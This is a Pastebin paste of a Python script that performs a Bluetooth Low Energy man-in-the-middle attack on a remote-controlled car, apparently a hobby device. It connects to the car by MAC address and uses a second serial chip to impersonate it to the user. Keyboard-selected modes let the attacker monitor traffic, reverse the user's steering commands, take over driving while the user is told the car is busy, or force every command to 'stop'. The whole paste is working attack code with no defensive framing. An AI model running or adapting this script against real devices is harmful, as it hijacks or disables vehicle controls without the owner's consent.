Guest User

Untitled

a guest
Jul 20th, 2018
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.75 KB | None | 0 0
  1. import time
  2. import serial
  3. import subprocess
  4. import bluepy.btle as btle
  5. from pynput import keyboard
  6. from threading import Thread
  7.  
  8. mode = 1
  9.  
  10. def on_press(key):
  11. try:
  12. k = key.char # single-char keys
  13. except:
  14. k = key.name # other keys
  15. if key == keyboard.Key.esc:
  16. return False # stop listener
  17.  
  18. global mode
  19.  
  20. if key == keyboard.Key.f2:
  21. print("Mode has been changed to 'monitor'")
  22. mode = 1
  23. elif key == keyboard.Key.f3:
  24. print("Mode has been changed to 'reverse'")
  25. mode = 2
  26. elif key == keyboard.Key.f4:
  27. print("Mode has been changed to 'take over'")
  28. mode = 3
  29. elif key == keyboard.Key.f5:
  30. print("Mode has been changed to 'DOS'")
  31. mode = 4
  32.  
  33. # Client stub
  34. def during_takeover():
  35. global client_socket
  36. global mode
  37.  
  38. while mode == 3:
  39. # add timeout here
  40. client_socket.readline()
  41. client_socket.write('Car is busy at the moment ^_^')
  42.  
  43.  
  44.  
  45. # MAIN program starts here
  46.  
  47. print("Bluetooth Man In The Middle Attack!")
  48.  
  49. print 'To scan for low energy devices use: "sudo hcitool lescan"'
  50. car_mac = raw_input("Please enter car's MAC address: ")
  51. print('Connecting to %s...' % (car_mac))
  52.  
  53. # Establish connection to a car
  54. car_socket_p = btle.Peripheral(car_mac)
  55. car_socket_s = car_socket_p.getServiceByUUID("0000ffe0-0000-1000-8000-00805f9b34fb")
  56. car_socket = car_socket_s.getCharacteristics()[0]
  57. print('Supports read? %d' % (car_socket.supportsRead()))
  58. print("Props: %s" % (car_socket.propertiesToString()))
  59. car_socket.write('s')
  60. print('reply: %s' % car_socket.read())
  61.  
  62. print('Connect spoofed chip to the RPi')
  63. raw_input('Press Enter to Continue...')
  64.  
  65. # Setup second chip to impersonate a car
  66. # Keep recieving data from user...
  67. global client_socket
  68. client_socket = serial.Serial(
  69. port='/dev/ttyACM0',
  70. baudrate=9600,
  71. parity=serial.PARITY_NONE,
  72. bytesize=serial.EIGHTBITS,
  73. timeout=1
  74. )
  75.  
  76. print("Everything is setup!")
  77. print("Use F2, F3 and F4 keys to switch between modes:")
  78. print("F2 (default) - monitor mode")
  79. print("F3 - reverse controls")
  80. print("F4 - take over")
  81. print("F5 - DOS")
  82. lis = keyboard.Listener(on_press=on_press)
  83. lis.start() # start to listen on a separate thread
  84. thread = Thread(target = during_takeover, args = ())
  85.  
  86. while True:
  87. if mode == 3:
  88. while mode == 3:
  89. print("Avaliable commands:")
  90. print("'f' - forward")
  91. print("'s' - stop")
  92. print("'r' - rotate right")
  93. print("'l' - rotate left")
  94. print("'b' - back")
  95. cmd = raw_input("What do we want to send to the car? ")
  96. car_socket.write(cmd)
  97. car_output = car_socket.read()
  98. print("Reply from the car: [%s]" % car_output)
  99. thread.join()
  100. else:
  101. # Attempt to recieve data from user
  102. data = ''
  103. while not data:
  104. data = client_socket.readline()
  105. print("User sent: [%s]" % data)
  106.  
  107. if mode == 4:
  108. print("Replacing data with stop")
  109. data = 's'
  110. car_socket.write(data)
  111. car_output = car_socket.read()
  112. client_socket.write(car_output)
  113. continue
  114.  
  115. # Take over mode
  116. if mode == 3:
  117. thread = Thread(target = during_takeover, args = ())
  118. print("Entering 'Take Over' mode after user sends next command")
  119. data = 's'
  120. car_socket.write(data)
  121. car_output = car_socket.read()
  122. client_socket.write(car_output)
  123. thread.start()
  124. continue
  125.  
  126. # Reverse controls if mode 2 is selected
  127. if mode == 2:
  128. print("Reversing controls...")
  129. if data == 'f':
  130. data = 'b'
  131. elif data == 'b':
  132. data = 'f'
  133. elif data == 'r':
  134. data = 'l'
  135. elif data == 'l':
  136. data = 'r'
  137.  
  138. print("Sending data to the car: [%s]" % data)
  139. car_socket.write(data)
  140. car_output = ''
  141. while not car_output:
  142. car_output = car_socket.read()
  143. print("Car replied: [%s]" % car_output)
  144.  
  145. client_socket.write(car_output)
  146.  
  147. running = False
  148. lis.join() # no this if main thread is polling self.keys
  149.  
  150.  
  151.  
  152. #time.sleep(1)
  153. #while 1:
  154. # uin = raw_input('Enter an AT command: ')
  155. # ser.write(uin)
  156. # x=ser.readline()
  157. # print x
Add Comment
Please, Sign In to add comment